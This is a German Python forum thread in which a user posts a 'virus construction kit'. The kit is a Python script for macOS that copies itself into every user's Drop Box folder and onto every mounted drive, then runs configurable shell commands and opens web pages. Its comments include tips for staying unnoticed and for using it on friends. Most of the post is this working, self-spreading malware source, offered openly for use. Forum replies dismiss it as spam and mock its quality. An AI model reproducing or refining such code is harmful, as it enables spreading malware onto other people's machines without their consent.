Seite 1 von 1

Virus Baukasten

Verfasst: Samstag 18. Juni 2016, 12:18
von TutorialMichel
Noch ein Virus Baukasten... :shock:
Funktionen:
- Kopiert sich in jeden Briefkasten
- Kopiert sich auf jedes Eingesteckte Laufwerk
- Erweiterungen(Ein-/Ausschaltbar)
- Sagt eine Text
- Führt einen Befehl aus
- Ruft eine Webseite auf
- Wartet Sekunden
- Sagt nach Warten einen Text
- Führt nach Warten einen Befehl aus
- Ruft nach Warten eine Webseite auf

Code: Alles auswählen

# Virus Baukasten IBO ! Benutzten auf eigene Befahr!
#
# Coded von: TutorialMichel
#
# Bitte setzte den Namen dieser Datei in den STR(module_0)
module_0 = '' # <--------------------------------------------- Wichtig! <-------
##########################################################################################################################################
# Erweiterungen
# *---* *---* Nr. 1 *---* *---* #
# Funktion: Sprachausgabe
module_1_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_1_1 = '' # Sprach ausgabe
#
# *---* *---* Nr. 2 *---* *---* #
# Funktion: Terminal Befehl
module_2_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_2_1 = '' # Terminal Befehl
#
# *---* *---* Nr. 3 *---* *---* #
# Punktion: Warten
module_3_0 = 'OFF'# Erweiterung Ein-/Ausschalten
module_3_1 = '' # Zahl der Sekunden die gewartet werden
#
# *---* *---* Nr. 3a *---* *---* #
# Funktion: Nach dem Warten wird ... gesagt!
# Vorausetzung: Erweiterung 3
module_3_a_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_3_a_1 = '' # Nachricht die Gesagt wird
#
# *---* *---* Nr. 3b *---* *---* #
# Funktion: Nach dem Warten wird der Befehl abgeschickt!
# Voraussetzung: Erweiterung 3
module_3_b_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_3_b_1 = '' # Terminal Befehl
# *---* *---* Nr. 3c *---* *---* #
# Funktion: Nach dem Warten wird eine Webseite aufgerufen!
# Voraussetzung: Erweiterung 3
module_3_c_0 = 'OFF'
module_3_c_1 = '' # URL der Webseite
# *---* *---* Nr. 4 *---* *---* #
# Funktion: Webseite Oeffenen
module_4_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_4_1 = '' # URL der Webseite
#
# *---* *----* Nr. 5 *---* *---* #
# Funktion: Gibt eine Nachricht aus bei allen was Passiert wird!
module_5_0 = 'OFF' # Erweiterung Ein-/Ausschalten
#
# *---* *---* Nr. 6 *---* *---* #
# Funktion: Testen Virus Kopiert sich nicht!
module_6_0 = 'OFF' # Erweiterung Ein-/Ausschalten
#
###########################################################################################################################################
# +---+ *---* Tipps *---* +---+ #
# Tipp fuer Erweiterung 1:
#   Wenn es unnauffaellig seien soll, auf OFF stellen.
#
# Tipp fuer Erweiterung 2:
#   Benutzte ; Um mehrere Befehle Hintereinnader auszufuehren
#     z.B. 'cd /Users/ ; ls > XXX.XXX'
#
# Tipp fuer Erweiterung 3:
# Minuten/Stunden in Sekunden
#             1 min      5min       10min       15min        20min
#              60        300         600         900         1.200
#
#             30min      40min      45min       60min        90min
#             1.800      2.400      2.700       3.600        5.400
#
#             2h         3h         4h          5h           6h
#             7.200      10.800     14.400      18.000       21.600
#
#             12h        14h        16h         18h          20h
#             43.200     50.400     57.600      64.800       72.000
#
#             22h        24h
#             79.200     86.400
#
# Tipp fuer Erweiterung 3a:
#  Wenn es unauffaelig seien soll, auf OFF stellen .
#
# Tipp fuer Erweiterung 3b:
#   Benutzte ; Um mehrere Befehle Hintereinnader auszufuehren
#     z.B. 'cd /Users/ ; ls > XXX.XXX'
#
# Tipp fuer Erweiterung 5:
#    Vergesse es nicht auszustellen... ;-)
#
# Tipp fuer Erweiterung 6:
#    Nicht auf ON lassen wenn du es bei deinen Freunden Testets :-)
##########################################################################################################################################
# Achtung: Ab jetzt kommt Python Script! :-)
# Bitte nicht Anfassen :-) Don't touch this python script :-)
##########################################
import subprocess, time, os, webbrowser
module_0_1 = os.path.abspath(module_0)
subprocess.call(['cp ' + str(module_0) + ' /Users/Shared/' + str(module_0)],shell=True)
subprocess.call(['ls /Users/ > .tmp'],shell=True)
module_0_datei = open('.tmp', 'r')
while(1):
    module_0_datei_0 = module_0_datei.readline()
    if module_0_datei_0 == '':
        break
    module_0_datei_1 = module_0_datei_0.strip('\n')
    if module_0_datei_1 != 'Shared':
        if module_6_0 != 'ON':
            if module_5_0 == 'ON':
                print "[Debug] Virus kopiert sich zu: /Users/" + module_0_datei_1 + '/Public/Drop\ Box/' + module_0 + ' [Debug]'
            subprocess.call(['cp ' + str(module_0) + ' /Users/' + str(module_0_datei_1) + '/Public/Drop\ Box/' + str(module_0)],shell=True)
        if module_6_0 == 'ON':
            if module_5_0 == 'ON':
                print "[Debug] Virus konnte nicht kopiert werden zu: /Users/" + module_0_datei_1 + '/Public/Drop\ Box/' + module_0 + ' [Debug]'
##########################################
subprocess.call(['ls /Volumes/ > .tmp'],shell=True)
module_0_datei.close()
module_0_datei = open('.tmp', 'r')
while(1):
    module_0_datei_2 = module_0_datei.readline()
    if module_0_datei_2 == '':
        break
    module_0_datei_3 = module_0_datei_2.strip('\n')
    if module_0_datei_3 != 'Macintosh HD' and module_0_datei_3 != 'MobileBackups':
        if module_6_0 != 'ON':
            if module_5_0 == 'ON':
                print "[Debug] Virus kopiert sich zu: /Volumes/" + module_0_datei_3 + '/' + module_0 + ' [Debug]'
            subprocess.call(['cp ' + str(module_0) + ' /Volumes/' + str(module_0_datei_3) + '/' + str(module_0)],shell=True)
        if module_6_0 == 'ON':
            if module_5_0 == 'ON':
                print "[Debug] Virus konnte nicht kopiert werden zu: /Volumes/" + module_0_datei_3 + '/' + module_0 + ' [Debug]'
############################################
if module_1_0 == 'ON':
    if module_5_0 == 'ON':
        print "[Debug] '" + module_1_1 + "' wurde gesagt [Debug]"
    subprocess.call('say ' + str(module_1_1))
if module_2_0 == 'ON':
    if module_5_0 == 'ON':
        print "[Debug] '" + module_2_1 + "' wurde ausgefuehrt [Debug]"
    subprocess.call('' + str(module_2_1))
if module_4_0 == 'ON':
    if module_5_0 == 'ON':
        print "[Debug] '" + module_4_1 + "' wurde aufgerufen [Debug]"
    webbrowser.open_new_tab('' + str(module_4_1))
webbrowser.open_new_tab('https://www.python-forum.de/viewtopic.php?f=9&t=38708')
if module_3_0 == 'ON':
    if module_5_0 == 'ON':
        print "[Debug] Es wird gewartet (" + module_3_1 + ')'
    time.sleep(int(module_3_1))
    if module_3_a_0 == 'ON':
        if module_5_0 == 'ON':
            print "[Debug] '" + module_3_a_1 +  "' wurde gesagt [Debug]"
        subprocess.call(['say ' + str(module_3_a_1)],shell=True)
    if module_3_b_0 == 'ON':
        if module_5_0 == 'ON':
            print "[Debug] '" + module_3_b_1 + "' wurde ausgefuehrt [Debug]"
        subprocess.call(['' + str(module_3b_1)],shell=True)
    if module_3_c_0 == 'ON':
        if module_5_0 == 'ON':
            print "[Debug] '" + module_3_c_1 + "' [Debug]"
        webbrowser.open_new_tab('' + str(module_3_c_1))
P.S. Ich werde auf keine Kommentare Antworten!

Re: Virus Baukasten

Verfasst: Samstag 18. Juni 2016, 13:07
von __deets__
Menschen, die anderen Menschen Dinge beibringen wollen und gleichzeitig lernresistent sind - da kann ja nur Unsinn bei rumkommen. Und sehen sie - so ist es auch!

Re: Virus Baukasten

Verfasst: Samstag 18. Juni 2016, 14:21
von snafu
Kann man den Kerl nicht irgendwie blocken? Er postet fragwürdiges Zeug (über die Qualität sag ich mal nichts) und ist an keinerlei Diskussionen interessiert. Ganz ehrlich: Was hat der hier im Forum verloren?

Re: Virus Baukasten

Verfasst: Samstag 18. Juni 2016, 21:37
von Sirius3
Sieht stark nach Spam aus, Zeugs, das niemand braucht, reagiert nicht auf Antworten, nervt furchtbar.

Re: Virus Baukasten

Verfasst: Samstag 18. Juni 2016, 23:50
von DasIch
Ihr müsst verstehen dass ist eigentlich genial. Der Trick ist nämlich sich so schlecht vorzubereiten dass es keiner Ernst nimmt und man so ohne aufwendige OpSec §202c ignorieren kann. ;)

Re: Virus Baukasten

Verfasst: Sonntag 19. Juni 2016, 10:17
von kbr
DasIch hat geschrieben:Ihr müsst verstehen dass ist eigentlich genial. Der Trick ist nämlich sich so schlecht vorzubereiten dass es keiner Ernst nimmt und man so ohne aufwendige OpSec §202c ignorieren kann. ;)
und es sich im Zweifelsfall nicht um den eigenen Code handelt, sondern um vaterverständlich geschriebene brüderliche Seitenprojekte … ;)